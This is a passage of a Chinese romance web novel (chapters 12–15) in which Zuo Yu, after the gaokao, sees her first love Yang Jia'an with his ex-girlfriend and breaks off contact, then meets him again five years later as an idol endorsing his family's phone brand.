“不痛了。”杨妈妈笑着摇了摇头，“你陪我说说话，我就会好很多。”
杨嘉安拉了拉凳子，坐得离妈妈更近一些。
“你想听点什么？”
“嗯……”杨妈妈假装思索，“不如聊一聊你心里的那个人？”
杨嘉安有些错愕，“怎么突然提到她？”
“所以，她是谁？”
“嗯？”
“在我问出刚刚那个问题的那一刻，你脑子里浮现的那个人是谁？是小敏，还是小鱼？”
杨嘉安没想到妈妈会这么问，他回想刚刚脑子里出现的人，除了左榆，没有任何其他人。
“小敏前几天给我打电话了，”杨妈妈没有等杨嘉安回答，突然换了个话题，“她跟我说了很多话，但是我不怎么听得进去。”
“她以后要再打电话给你，你不要接。”杨嘉安有些生气。
“不接当然是不行的。我还记得你高中时第一次跟我说你对一个女生产生了好感，问我该怎么办。现在想一想，前前后后算起来应该有三年时间吧，真的就这样散了吗？”
杨妈妈的话勾起了杨嘉安的一些回忆，一些看似美好但并不令人开心的回忆。
“过去的事情就不要再提了，有些东西跟时间无关。”
“我只是担心你以后会后悔，同时，我不希望你伤害小鱼。”
杨嘉安听懂了妈妈的话，她担心他在怒意的支配下做出错误的决定，也担心他只是将小鱼当作一种慰藉从而伤害左榆。
“我不会去玩弄感情，无论是别人的感情还是自己的感情。我也从来不是冲动行事的人，这一点你应该最了解我。”
“这倒也是。罢了，你的事我就不掺合了。”
妈妈也听懂了杨嘉安的话，他想说他对左榆并非一时兴起，是深思熟虑。
12. 第 12 章
从外婆家回来的第二天，左榆就返校开启了下学期的学习，距离高考还有不到五个月的时间。来不及收拾假期没能见到杨嘉安的遗憾心情，她投入了紧张的学习之中。
在感到疲累时，她会想起杨嘉安过年时说的那句“我一回来就去广市看你“，这导致她在放学时不由自主地会左右张望一番，或许真的能看到杨嘉安的身影，然而等到木棉花被雨水打落，杨嘉安也没有来看她。
非但如此，杨嘉安越来越少主动跟她联系，这种情况多少会影响左榆的学习。为了让自己能够专注于学习，左榆将手机给了妈妈保管，每周的休息日拿回手机看看信息。
但事实上，每日一次的等待变成了每周一次的等待，好在这样的等待并没有影响到她的学习。起初，左榆每周看手机的时候都会收到杨嘉安的留言，有时是鼓励的话，有时的日常的问候，内容看起来虽然跟普通朋友关系无异，但这些信息让左榆觉得杨嘉安的心里面会记挂着她。
后来，到留言两周才有一次的时候，左榆已经到了高考最后冲刺到时候，她每天都背诵和做题，无暇顾及其他。
广市的夏天来得早，五月已是初夏，天气渐渐炎热，外加上距离高考越来越近，对未来的过分向往以及不确定性让左榆变得有些浮躁，她开始畏惧，担心，甚至想逃。
在一个失眠的夜晚，她给杨嘉安发了一条微信。
【小鱼干儿：如果我考不上海市的学校，一切是不是全完了？】
此时已经是凌晨一点多，她猜想杨嘉安应该已经休息了，发完微信就将手机放在一边，继续在床上翻来覆去。哪知，很快有一条信息回了过来。
【Y：别乱想，好好备考。】
【小鱼干儿：你还没睡呢？】
【Y：嗯，刚有点事在忙。】
没等左榆回复，他又发过来一条微信。
【Y：我最近有点忙，你别瞎想，好好学习，期待你的好成绩。】
【小鱼干儿：嗯，我知道了。】
左榆承认她想听的不是这些，她想听到一种更深层次的鼓励，但既然杨嘉安说因为太忙才无暇顾及她，她当然是能够理解。
【Y：还剩最后一个月的时间，加油！】
【小鱼干儿：考完后，我可以去海市找你吗？】
左榆信心满满，认为杨嘉安的回答都肯定的，可是等待许久，他的对话框上断断续续出现“对方正在输入中…”但迟迟不见他发信息过来。于是，她在最后关头撤回了哪句话。
【小鱼干儿：开玩笑的，你别当真。】
她装作若无其事补充了一句，心里却难受得要命。
【Y：很晚了，休息吧，现在最重要的事情是高考。】
杨嘉安的态度让左榆感觉好像有什么东西发生了改变，但她无从追究，如杨嘉安所说，以最好的状态迎接高考是左榆当前最重要的事情，是她敏感也好，是真的发生了改变也好，她已经没有时间去纠结。
在如炼狱般的地方里待了大半年，假若那个夏夜里杨嘉安的话不再作数，她就算为了自己，也要努力去获得一个好结果。
经过这么一番，她竟然想通了。
最后一个月，拼了。
广市的初夏是湿热的，时常没由来得下一场大暴雨，很快又天晴。在这样反复无常的天气变化中，左榆第二次上了高考考场。高考的那三天，每天午后两点多都下了一场大暴雨，伴随着考试结束的钟声而停止。
考完后，她回到家的第一件事就是蒙头大睡了一场，睡得很踏实。
如果不是被陶然打来的电话吵醒，她大概能睡到第二天早上。
“考得怎么样？”陶然问。
“我感觉还可以，肯定比去年要好。”
“想好报什么大学了吗？”
“暂时没有，等分数出来了再考虑吧。”
“要不要过来陪我们玩几天？刚好我和浩然最近都没什么课。”
陶然这么一说，左榆就心动了。
榕城距离海市很近，或许，不是特地去海市看他，只是去找朋友玩的途中顺便看望一下他，这样应该没什么问题吧？
“哎呀，你就过来玩玩嘛，我们都快一年没见面了。”陶然见左榆不说话，以为她不愿意。
原本，四个人在春节的时候准备约一次，但是大家都忙着拜年走亲戚，没有找到合适的时间，等到大家都闲下来时，左榆又开始上课了，就没能见面。
“那我先问问我妈妈吧。”
“好，期待你的好消息。我们在榕城等你。”
挂掉电话后，左榆犹犹豫豫，在想要不要先探一探杨嘉安的口风，如果知道她要去海市看他，他会是开心还是不开心。
就在她犹豫时，手机上来了一条微信，是杨嘉安发来的。
【Y：考完了吧？】
【小鱼干儿：嗯，考完了。】
【Y：考得怎么样？感觉还好吗？】
【小鱼干儿：肯定比去年好，我考前的几次模拟成绩都不错。】
【Y：为你骄傲。】
两人的聊天戛然而止，左榆在想，杨嘉安是不是已经忘记曾经说过的话了，那她还有必要提醒他吗？她犹豫了好几天，杨嘉安似乎很忙，没有再找过她，倒是陶然隔一天就来问她什么时候去榕城找他们玩。
在经过妈妈的同意后，左榆买了去榕城的机票。
在一个周六的上午，左榆到达了榕城机场，陶然、宋浩然和张星辰早早就在机场等她了。
两个女生一见面就给了彼此一个大大的拥抱，张星辰非常自觉地接下了左榆的行李箱。
“好久不见。”快一年时间没见，张星辰看起来比从前要沉稳了些。在这段时间里，他极少联系左榆，左榆觉得这是好事，认为他大概在大学里认识了新的朋友，有了眷念的人。
“好久不见。”左榆笑道。
“我们中午去这家吃饭，下午去这些地方玩……”陶然大致说了一下这几天安排，“对了，住的酒店给你定在了张星辰学校附近，他学校的地理位置比较好，我和浩然的学校太偏僻了，这样没问题吧？”
“没问题。”
和好朋友相聚，左榆是开心的，但想到距离这里不远的地方有杨嘉安，她的心始终无法平静下来，无论去哪里玩，她脑子里的杨嘉安始终挥之不去。陶然很容易就捕捉到了她的心不在焉，在
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她回程前提出要不要去海市逛一逛。
“大一都要结束了，我还没去过海市呢，我们一起去玩一玩，看是不是有大家说的那么繁华。”陶然没等左榆表态，就让宋浩然买了高铁票。
“你们去吧，我不去了，我这两天都有课。”张星辰阴郁地说道，他当然知道T大在海市，要将左榆送到别人面前，他现在还做不到。
从榕城坐高铁，不到一个小时就到了海市。按照陶然的计划，上午三个人在海市随便逛一逛，下午送左榆倒T大后，她和宋浩然随便找点借口一起离开，让左榆和杨嘉安在T大好好叙叙旧，晚上一起吃个晚饭后坐高铁回榕城。
刚开始，一切都按照计划在走，他们在左榆不知情的情况下将左榆送到了T大。
“怎么到这里来了？”左榆看着T大的校门一脸懵。
“我知道你心里在想什么，既然来了，就见一面吧，我真不想看到你这么丧气的样子。”
“我看起来很丧气吗？”左榆以为自己隐藏得很好，原来旁人一眼就能看出。
“我不知道你跟那个杨之间出了什么问题，但是既然已经到这里了，你们两个人就面对面好好聊一聊，把问题给解决掉。”陶然不仅看出了左榆的颓丧，还看出了他们之间紧绷的关系局势，“我跟浩然去其他地方逛一逛，就不陪你了，晚上吃饭的时候再联系我们。”
事已至此，左榆决定放下所有的顾虑，义无反顾一次。她凭借自己所知的一切关于杨嘉安的信息，顺利找到了宿舍楼下。
她站在宿舍门口，想到一会儿后就会见到杨嘉安，心脏就扑通乱跳，身体也止不住地发抖。就在她拿出手机，准备给杨嘉安发微信的时候，却猛然见到杨嘉安刚好从里面往外走。
一切来得猝不及防，左榆还没想到见面后的第一句话说什么。下一秒，她听到旁边一个女声叫了一句“嘉安，这里”，而杨嘉安也朝叫他的女生招了招手。
目睹了这一幕，左榆下意识躲到了一边，身体颤抖地更加剧烈，大脑一片空白。因为那个女生，她如果没有看错，应该就是杨嘉安的前女友，林毓敏。
所以，林毓敏跟杨嘉安一样，都在T大读书。
这么长时间以来，杨嘉安从没有跟她提及过这件事。她在千里之外想念他时，林毓敏每天都能见到他。
为什么他对她越来越冷淡，越来越敷衍，原因好像已经找到了。可是，既然已经来到了这里，她也不愿就这样悄无声息地接受。
看着杨嘉安和林毓敏离开的背影，她尽量控制住自己发抖的手，拨通了杨嘉安的电话。
“嘟——嘟——嘟”每一声都犹如巨石碾压着她的心，她看到杨嘉安停下了脚步，从口袋里掏出手机。
“喂。”他接通了。
“我……有打扰到你吗？”左榆尽量控制自己的情绪。
“怎么了？”但杨嘉安还是听出了她的声音不对，“发生什么事了？”
“没事。”左榆的脑袋还是空白，不知道说些什么。
“我现在要出去一趟，晚上回来再给你打电话。”
“好。”
挂断电话后，左榆一直看着杨嘉安消失在自己的视线之中。
13. 第 13 章
左榆在宿舍外面一直坐到晚上，她让陶然和宋浩然先回榕城，自己晚些时候再回。陶然只当左榆是为了跟杨嘉安多待一会儿，没有多想便同意了，在电话里叮嘱一番后，就跟宋浩然先回去了。
从白天到黄昏，再到深夜，左榆都没有等到杨嘉安回来。
旁边一间便利店的女店员留意了左榆很久，“你在等人吗？”在店里没有什么顾客后，女店员走到左榆旁边关心道。
“嗯，他说他晚点会回来，但是一直没回。”
“你要不要打个电话给他问一问？”
左榆摇摇头：“不了。”
“那你去店里面等吧？外面闷热，又有蚊虫，里面有地方坐。”女店员指着便利店说道。
“好，谢谢。”左榆跟着女店员进了便利店。
女店员学生模样，说话软软糯糯，声音很好听，也很有治愈力。她泡了一碗杯面，送到左榆面前。
“我今天上晚班，八点钟上班的时候就看到你坐在外面。我猜你晚上没吃饭，喏，这个请你吃的，不管发生什么事，填饱肚子总是最重要的事。”
左榆平时不爱吃杯面，但此刻闻到杯面的香味，不知觉吞了吞口水，她确实是饿了。
“谢谢你，我一会儿会付钱。”
“不用付钱，我说了这个是请你的，快吃吧。”女店员朝左榆露出一个极有感染力的笑容。
“谢谢。”左榆拿起叉子，开始吃了起来，才吃了几口，她突然想到什么，问女店员，“请问，你们营业到几点？”
“我们二十四小时营业的。”女店员看到左榆愣了一下，继续解释道，“这里的位置比较特殊，其实已经不算是校内，附近也有一些居民楼，所以二十四小时营业算是正常的。”
“那我能不能……”
“可以。”左榆还没说完，女店员就给出了肯定的回复，“你就放心坐在这里等，不过宿舍十一点钟会关门，如果你等的人在十一点钟还没回来的话，今晚大概是不回了。”
左榆下意识看了看时间，已经是十点五十分。
“夜不归宿，学校老师不会批评吗？”
女店员笑了，“原则上是会批评，但是大家都成年了，就算是T大的学生，也要谈恋爱，有时候也会跟男朋友、女朋友出去开个房，这很正常吧？”
“开……个房……”她说得很轻松，可左榆的心紧了又紧。如果杨嘉安今晚不回来，那必定是跟林毓敏在一起，所以，他们也会这样做吗？想到这里，左榆的心狠狠抽痛了几下。
十一点，门口果然还是不见杨嘉安的身影。左榆犹豫了很久，才给杨嘉安打了个电话，电话响了好久，杨嘉安才接。
“你还没回宿舍吗？”
“没，你早点休息，我明天再给你打电话。”
杨嘉安那端的环境异常安静，甚至有一些回声，左榆猜测他是在洗手间接的电话。
“好吧。”左榆说完，快速挂掉了电话，她担心自己下一秒就会失控，因为她的脑子里已经交织出现各种足以令她痛彻心扉的画面。
“怎么样？他什么时候回？”女店员一边理货，一边问。
“他说今晚不回来了。”
“那你打算怎么办？”
“我不知道。”左榆似乎已经失去了思考的能力，她就呆呆地坐在那里，眼神空洞地看着外面。
女店员大致能猜到她等的是什么人，虽然心里很同情她，但也爱莫能助，在这种时候，所有的语言安慰都是苍白的。
在左榆迷茫又无措时，手机里来了好几条短信，陶然在小群里呼唤左榆，就是之前张星辰一气之下退的那个群，如今他又被左榆拉了进去。
【AAA防盗窗定做：鱼，你回来了吗？回酒店了吗？】
【Z。：她还没回。】
【AAA防盗窗定做：你怎么知道？】
【Z。：你管我怎么知道。】
【AAA防盗窗定做：鱼，那你今晚是不是不回了？】
接下来的一分钟里，大家都沉默了，都在等着左榆的回答，尤其是张星辰，他坐在酒店的大堂里，手指微微颤抖，如果左榆今晚不回，他就知道自己该彻底放下了。
左榆迟迟没有回复，陶然有些担心，索性给她打了个电话。电话很快接通，但左榆那边还是沉默着，陶然着急了。
“你怎么了，是不是出什么事了？”
在这样的时刻，听到来自朋友的关心，委屈的心情再也藏不住，“我在T大……他跟别的女生出去了……”左榆说着，大声哭了出来。
听到哭声，陶然更加着急了，她只恨自己不能瞬间移动，“这个老渣男，都怪我，我不该怂恿你去T大，别哭别哭……”
陶然越是安慰，左榆越是哭得一发不可收拾，话也说不利索，女店员见状，走到她旁边，接过她手上的电话，将事情的大概说了一遍，并让陶然放心，她会看好左榆，不让她大半夜乱跑出去。陶然这才安心下来，但始终不放心左榆独自在海市，她又给张星辰打了个电话。
哭过之后，左榆的情绪稳定了一些，她伏在便利店的小桌子上渐渐睡着了，脸上还带着泪痕。
凌晨三点，安静的便利店里突然响起有人进店的声音，打盹的女店员马上清醒了，带着几分警惕。哪知，进店的人却径直朝左榆走去。
“你好，请问你是？”女店员随即跟了上去。
“我是她朋友。”
“是她一直在等的人？”
“不是。”
来的人不是杨嘉安，是张星辰。在陶然跟他说了左榆的情况后，他当下就决定来海市，但夜间没有高铁，他最后打车过来的。
两人的说话声惊醒了左榆，她看到面前竟然站着张星辰，顿时迷糊起来，努力回想了一番确定自己现在是在T大。
“你怎么来了？”她惊道。
“来抓你回去。”看到左榆脸上的泪痕，张星辰的心里难受得要命，但依旧故作轻松。
出乎张星辰的意料之外，左榆张开双手轻轻抱住了他，“谢谢你。”她的确无法抗拒张星辰这一刻给她带来的温暖。
“谁稀罕你的谢谢，走吧。几个小时后你还要赶回家。”
“好，回家。”左榆松手放开张星辰，小声自言自语，“以后再也不来这里了。”
女店员拿来一个小小的可爱的毛绒挂件，递给左榆：“喏，送给你，以后要开开心心的，不要再在黑夜里等一个人等这么久。”
“谢谢。”
“就是，那个杨嘉安有什么好的，T大高材生就是这样玩弄别人的啊……”
张星辰随口吐槽了一句，女店员听到杨嘉安的名字，稍稍愣了一下。
“你别说了。”左榆现在最不想听到的就是杨嘉安的名字。<
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p>再次向女店员道谢后，左榆跟张星辰一起离开了。两人在高铁站一直坐到天亮，买了最早一班的高铁回榕城。
早上七点多，左榆和张星辰回到了榕城，杨嘉安也从外面回来了。
“杨嘉安！”在经过宿舍门口的便利店时，女店员叫住了他，“你昨晚去哪儿了？”
女店员竟然是杨嘉安的同学，只不过平时在这间便利店做兼职。
“有事？”
“有个女生昨晚等了你一夜。”
“谁？”
“我不知道她叫什么，只知道她瘦瘦的，眼睛大大的，长得很漂亮。她昨晚十一点多的时候在店里给你打过电话。”
杨嘉安的心一惊，“她昨天来我们学校了？”
“是的，凌晨三点左右才有一个男孩子来接她回去……”
杨嘉安听不进去女生后面的话，忙从口袋里掏出手机给左榆打电话，然而，手机里只是重复着冷冰冰的“对不起，你拨打的电话暂时无法拨通”。他又给左榆打语音电话，但迟迟没有人接听。
他焦急地站在原地，第一次感到手足无措。
左榆回到酒店后第一件事就是闷头大睡，她很累，身心俱疲。张星辰原本上午有课，但因为担心左榆就留下来陪她。他听到左榆的手机响了好几次，猜到大概是杨嘉安打来的，他不是没想过接通电话后狠狠骂杨嘉安一顿，但是他不知道手机的锁屏密码。
上午十点多，陶然和宋浩然赶到了酒店，见左榆还在睡觉，为了不吵醒她，他们移步去了酒店大堂。房门被轻轻关上，左榆却醒了。她盯着天花板看了很久，脑子依然很乱，杨嘉安的身影在她混乱的脑子里不断穿梭。
这时，她的手机再次响了起来，是杨嘉安打来的语音电话。
她犹豫片刻后接通了。
“你昨晚来我学校了？”
“嗯。”
“为什么不告诉我？”
“是我不该在没有提前说的情况下擅自去你学校找你。”
“我不是这个意思……你现在在哪儿？”
左榆不说话。
“对不起……”
“一年前你对我说的那些话，你还记得吗？你让我高考前不要谈恋爱，下一句是什么，你还记得吗？”
杨嘉安沉默，他记得，当然记得。
“也是，这么久了，又有前女友在身边，哪里还会记得那些不重要的话。”
“我对你说过的每一句话，我都记得，我没有忘记，只是有一些变化……”
要不是亲眼看到杨嘉安和林毓敏肩并肩一起出去，左榆都要相信杨嘉安有难言之隐了。毕竟都已经在外面过夜了，怎么都得负责吧，无法兑现对左榆的承诺也很正常。
“没关系，那就算了。”左榆的心还在隐隐作痛，“以后不联系了，你的电话我已经拉黑了，打完这通语音，微信我也会拉黑删除。”
杨嘉安沉默。
“你没话说了吧？那就挂了吧。”
左榆的话刚说完，听筒就传来了忙音，他真的就这么挂线了……
这一年来在他们之间发生过的事在她的脑中一一浮现，她的手机壳里还夹着他们拍的那张拍立得，看着那时候的笑容，仿佛只是一场梦。
杨嘉安发觉电话那端没了声音，这才发现是手机没电了。
他看着屏幕漆黑的手机，愣愣地站在原地。
14. 第 14 章
左榆满身疲惫回到家，为了不让妈妈看出自己失落的状态，她竭力打起精神来，但是妈妈的注意力更多都在如何选择大学专业上，似乎并没有注意到她的不妥。
“你回来啦！”左榆刚进门，妈妈就迫不及待将自己罗列好的专业给她看，“这些都是我这几天在网上查到的热门专业，你看看你喜欢哪个。”
左榆看了一眼妈妈手上的小车子，完全提不起兴致，“我听你们的。”
“还是得看看你自己的兴趣，你看看呢。”
“那我明天再看吧，现在想休息一会儿，这一路太累了。”左榆竭力控制自己，不让悲伤显露出来。
“行，那你先休息，等分数出来了再考虑也不迟。”
左榆回到房间，躺倒在床上，脑子里还是乱乱的。大家都说初恋是甜甜的，可到她这里怎么这么苦呢？
“叮~”手机提示来了一条微信，左榆立即爬起来拿手机。她在回家的路上犹豫了一路，就是没舍得删掉杨嘉安的微信，她还在期待着什么。
【AAA防盗窗定做：鱼，你到家了吗？】
不是杨嘉安发来的微信，左榆有一些失望。
【小鱼干儿：到家了。】
【AAA防盗窗定做：那就好，好好在家里待着，别乱想，我们放暑假就回来找你玩。】
【小鱼干儿：嗯。】
左榆刚回复完，又有一条微信来了，依然不是杨嘉安。
【Z。：照顾好自己，别犯傻。】
【小鱼干儿：谢谢你。】
张星辰半夜去接她的事，她由衷感谢他，但也仅限于感谢。
日子一天天过，睁眼天亮，闭眼睡觉，虽然枯燥但好像过得也快，直到高考分数出炉，杨嘉安也没有再找过左榆，她在等待中逐渐放下，最后彻底删除了杨嘉安的一切联系方式。
左榆考了一个非常不错的成绩，最后选择了一所有漫长冬天的北方大学，那里的冬天来得很早，雪也下得很早。“雪是假的，我是真的”，这是杨嘉安从前说过的话，如今既然他是一场梦，那梦里的雪一定要是真的。
一切尘埃落定后，左榆跟妈妈一起去了一趟外婆家，外公生病了，她要去看望一下。
再次回到外婆家，左榆好不容易平静下来的心似乎又开始悸动，走在每一处与杨嘉安一起走过的地方，她都会在想，下一秒，他是不是就会出现。然而，有多少期待就有多少失望。
在距离回家的倒数第二天，杨家奶奶拿着一只鸡来看望左榆的外公，在得知杨家奶奶独自在家，外婆非留她吃饭。杨家奶奶却之不恭，跟外婆一起择起菜来。
左榆玩着手机不经意地听他们聊天，她想，也许他们会提及杨嘉安，也许会聊到他的近况，毕竟妈妈对杨嘉安心存感激。结果在左榆的意料之中却又出乎她的意料之外，杨家奶奶说杨嘉安就要出国了。
“他大学还没毕业吧？”左榆妈妈显然也有些吃惊。
“我也不清楚，他说学分什么的，那些我也听不懂，总之就是说要出国……”
左榆的脑袋嗡嗡的，再也听不进去杨家奶奶的话，手指机械地点击着手机，却不知道自己到底想干什么。
晚上，左榆躺在床上，回想起和杨嘉安过去的点点滴滴，想着想着，眼泪就决了堤，是人原本就是能这么轻易改变，还是她不轻易该陷得那么深？
第二天早上，左榆醒来时，两只眼睛肿得不像样，她简单用冷水处理了一下，稍稍好了一点。当她顶着这双肿眼泡下楼时，却看见了坐在楼下的杨嘉安。他穿着普通的白T和运动裤，只是坐在那里就仿佛闪闪发光，头发似乎有些长了，细碎的刘海就快要遮住眼睛。
大半年没见却疯狂想念的人，此刻就这样突然地出现，左榆一时愣在了原地。
明明屋顶上的吊扇还在嗡嗡转动着，但在她与杨嘉安四目相对的那一刻，仿佛四周都安静下来了。杨嘉安缓缓起身，张了张口刚想要说话，左榆却转身跑回了楼上。
杨嘉安快她一步，在她跑进房间之前，在房门处拉住了她。
左榆低着头，蓬乱的头发挡住了她的脸，她想，她这一刻一定狼狈极了。
“你跑什么？”杨嘉安牢牢攥着左榆的手腕。
左榆没说话。
“眼睛怎么肿了？”杨嘉安将左榆拉到面前，一手轻轻拨开挡在额前的发丝。
他这个有些亲密的动作却彻底惹怒了左榆，她奋力甩开杨嘉安的手，用力推开他。
杨嘉安一个趔趄，“干吗生这么大的气？”
他竟然还问这种问题，左榆冷笑一声，脑子里都是那天他与林毓敏并肩离去的画面。
“男女有别，我怕我男朋友知道了会不开心。”左榆说这话时根本不敢看杨嘉安。
“男朋友，你有男朋友了？”杨嘉安整个人都僵住了，满脸的不可置信，闪亮的眸子瞬间黯淡了下来。
“是，我谈恋爱了。”左榆将头扭到一边看向窗外。
“当真？”
“当然是真的。”左榆冷笑道，“在黑夜里无助的时候，有一个男生愿意连夜赶一百公里的路来保护我，还有什么能比这个更让女生心动吗？如果知道结果会是这样，早在去年的七夕，我就该答应他，不该伤他的心。”
杨嘉安沉默地看着左榆，心空了一块，又碎了一块。
“我可以解释……”
“不用。”左榆打断杨嘉安，如果真的想解释，早些天就解释了，何必等到现在，“没意义了。我早就该意识到我们之间的鸿沟，我拼了命也考不上T大，但是有人在T大能跟你出双入对。不管怎样，我还是要感谢你，因为你确实帮助我提高了成绩，而我，不会去读海市的大学，这辈子也不想再踏足那里。”
“那你跟他在一起，开心吗？”杨嘉安是声音仿佛就要低入尘埃。
“开不开心重要吗，重要的是不会难过，毕竟想要平平淡淡地过一天很容易，但是想要熬过痛苦难过的一天，太难。”左榆想起那些等待杨嘉安发微信过来的日子，每一分一秒都是煎熬
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，“太苦了，一点都不甜。”
“那……祝福你们。”
这是杨嘉安离开前说的最后一句话，左榆眼角的余光看到他慢慢离开，她的伪装逐渐褪去，眼神从坚定到崩溃，再到这个世界被眼泪所模糊……
晨间的太阳照进屋子里，洒在地上，晃得左榆睁不开眼。分明是差不多时候的太阳，怎么去年的那么温柔，今年的如此刺眼。
从这天开始，左榆就没有再见过杨嘉安，他的名字被她尘封在心，轻易不再去触碰。
从外婆家回去后，左榆开始满心期待自己的大学生活，陶然他们也从榕城回来了，四个人又像高中时候那样打打闹闹玩了一个暑假，最开心的人是张星辰，他感觉从前的那个左榆又回来了。
“没想过再表白一次么？现在时机刚好，说不定你一表白就成功了。”
一次聚餐，趁左榆去了洗手间的工夫，陶然调侃张星辰。
张星辰夹了一口最爱吃的菜送进嘴里，摇摇头道：“趁人之危非君子所为，而且我不想给她太大的压力，现在这样不是挺好？”
陶然笑道：“确实挺好，感觉回到了高中的时候。”
说话间，左榆回来了，看到他们聊得开心，不忘问上一句：“聊什么呢，聊得这么开心？”
“想到高中的时候了……”
四人又将高中时候的趣事一件件回忆起来。看到左榆灿烂的笑容，张星辰打心底开心。
陶然看到这一幕，又不忘调侃：“某人的眼神都要拉丝了……”
“浩然，说你呢！”
“说你，你！”
……
左榆去大学报道的那天，恰好家里有点事，爸爸和妈妈没办法送她。当她独自拉着行李到达机场，却在登机口看到了等了她很久的三人组，陶然、宋浩然和张星辰。
“你们怎么回事？”左榆感动得哭了，她用手臂抹了抹眼泪，“我的眼泪今天不值钱。”
“我还没去过北方，正好开学前去玩玩。”陶然傻笑道。
“她想去的地方，我肯定陪她。”宋浩然摊了摊手。
“我去看看你们学校有没有漂亮学姐。”
“有也看不上你。”
“凭什么，我长得也不差吧……”
吵吵闹闹中，四人一起登机了。
在距离他们不远的另一个登机口，杨嘉安拿着那张跟左榆的合照久久失神。
“嘉安，我们该登机了。”
“好。”杨嘉安说着，将合照塞进了衣服的里袋。
“为什么偏偏要在广市转机，唉。”
“你嘀咕什么呢？”
“没什么……”
……
丰富多彩的大一生活确实逐渐抚平了左榆的伤口，只是在下雪的时候，她还是会想起杨嘉安，想到自己无疾而终的初恋。
但是，她的这种暗自神伤并没有持续特别久，因为她的人生开始发生了巨大的变化，她自顾不暇，也就没有多余的时间去怀念过去……
15. 第 15 章
五年后。
“哎，粉丝又掐起来了。”
晚上十点多，左榆结束一天的拍摄正在前往酒店的车上，跟行程的小朵从上车开始，微信就响个不停，全都是粉丝那边反馈过来的问题。
“明天就是新代言的发布会，说不定会掐得更凶，带头掐的都是萌萌那边的粉丝，她粉丝最喜欢闹事，只要你这边的资源好一点，她粉丝就闹个不停。”小朵吐槽道。
左榆似乎并不在意这些，她调低座椅靠背，半躺着闭目养神：“闹就闹吧，本来公司起初就是打算把这个代言资源给她的。”
“但是我们也没有用什么手段去抢呀，这个事情的最终决定权不都在公司和品牌方嘛，为什么总是要骂我们呢，我们也委屈。”小朵打抱不平，她是左榆的助理。
三年前，原本在读大学的左榆阴差阳错之下跟一家娱乐公司签约了，在经过一年多的训练后，跟另外三个女生组成了女团WINGS正式出道，大概是遇到了好时机，以及四个人超出常人的努力态度让她们在同期对手中脱颖而出，出第一张专辑就一炮而红，并且持续升温。
如今已经出道两年，在这两年的时间，娱乐圈里又推出了几个年轻女团，虽然有水花但不及WINGS的高度。公司考虑到娱乐圈迭代更新的速度之快，以及WINGS成员的年龄劣势，从今年开始就让她们四人分开发展，开始转型到容易出实绩且维持热度的影视圈。
左榆正在拍摄她人生中的第一部戏，虽然只是网剧，但对于不是科班出身的她来说还是有难度的，为了能演出最好的状态，她私下特地找了表演老师开小灶。
“给我看看粉丝都是怎么说的。”左榆朝小朵伸出手，示意她把手机拿过来。
“还是别看了吧，骂得挺脏的。”
“我早就习惯了，你还怕我承受不住吗？”
“也是，反正我们永远都是被骂的那个。”小朵说完，将手机放到左榆的手上。
左榆双手举着手机，一条一条翻看着哪些辱骂她的微博。
“不是，她左榆凭什么抢别人的代言啊！！”
“我更好奇她用的是什么手段，能把别人到嘴的资源给夺了。”
“还能是什么手段，用脚想也能想到。”
“萌萌能不能早日脱离这个垃圾公司，整天被打压，好不容易有一个资源，还被人抢。”
“毕竟是同一个队的，左榆能不能要点脸，惨还是萌萌惨。”
……
“也就这样吧。”左榆说着，将手机还给了小朵。
然而，一分钟后，小朵的微信又炸开了锅。
“到底有完没完，萌萌她怎么这样啊！”
“怎么了？”左榆问。
“喏，你看。”
一分钟前，萌萌发了一条微博，配图是一张看起来楚楚可怜的自拍，文字是“今天晚上有点冷呢”。她这么一发，她的粉丝都更加心疼她，开始朝着左榆疯狂开火，有一些团粉试图从中调和，但被骂得很惨。
“随便吧，她们开心就好。”左榆继续闭目养神。
她其实也不清楚，为什么这次的手机代言会莫名其妙落到她的头上，算起来，这是她个人的第一个代言，前两年都是团队代言。
手机的品牌方是在科技行业很有影响力的诺辉集团，它旗下的产品覆盖了各类电子产品，时隔两年，诺辉手机才出新款，官方披露出来的各种功能和配置第一时间就在行业里轰动了一次，宣代言人的时候又轰动了一次，因为大家都知道诺辉在老爷子总裁的影响下一直以来作风朴素，请的代言人都是在事业上有所建树的中年艺术家，谁能想到这次竟然官宣一位女团成员。
“行吧，那就不管她们了。我跟你对一下明天的行程……”小朵刚想从包里掏出电脑，却被左榆打断了。
“回酒店再说吧。”
接连的拍摄已经让左榆感到疲惫，嘴上虽然说着不在意网上的这些恶评，但周而复始，心还是会觉得累，没办法，既然踏足了娱乐圈，就只能强大自己的内心。
第二天的诺辉新手机发布会，按照敲定好的流程，左榆只需要在最后出现一小下，所以她跟小朵在发布会现场隔壁的酒店里休息，等到临近了再去。
在这之前，左榆已经非常详细地了解过了这款手机的各项功能，但为了保证一会儿上台时能更从容，她让小朵将发布会的直播投屏到了电视上，一边做妆造一边看发布会。
“眼睛闭一下。”化妆师轻声道。
就在左榆准备闭眼时，电视屏幕上赫然出现一个熟悉的面孔，她推开化妆师的手，缓缓站起身，一脸惊愕地盯着电视。
“怎么了？”小朵发现左榆的异样，忙关心道。
“他是……”
小朵跟随左榆的目光看向电视，“他是诺辉的小杨总。”
小杨总？杨嘉安？
镜头一转，画面又给到了坐在杨嘉安旁边的人，“那这个呢？小杨总夫人？”她冷笑。
林毓敏气质确实出众，哪怕见过的次数屈指可数，左榆还是一眼认出了她。
“她是诺辉市场部的林总监，之前谈代言的时候就是她出面来谈跟楠姐谈的。姐你得抓紧化妆，半小时后我们就要出发了。”
“这发布会，我能不去吗？”左榆现在的心情乱成一团糟。
“你开什么玩笑，”小朵将左榆按回到座位上，“除非你不想在娱乐圈混了。”
“有些事情你可能不知道，但是……”
“别但是了，楠姐要是知道你有这种想法，现在马上立刻就杀过来了，”小朵一顿劝，又对化妆师说，“继续给她化妆。”
左榆刚坐下，却见电视画面中赫然出现一部手机的特写，手机的屏保用的是她的照片。作为这款手机的代言人，品牌方将展示样机的屏保设置成她的照片无可厚非，但，关键是，这部手机不是展示样机，而是主持人刚从杨嘉安手上拿来的、杨嘉安私用的手机。
“哇——”台下传来哄笑声，媒体的镜头急忙对准了杨嘉安。
杨嘉安依旧气定神闲，面带笑容，没有一丝慌张。
主持人急忙将现场气氛调节回来：“虽然我知道我们的代言人很美，但是还劳烦大家暂时将注意力从壁纸转移到我接下来要讲述的功能上……”
“怎么回事？”小朵隐约感觉到事情没那么简单，“你认识小杨总？”
左榆没有回答。
接下来的半个小时，左榆始终心不在焉，尘封许久的记忆一点一点挤满她的脑袋。等她定神时，人已经在发布会的后台了。
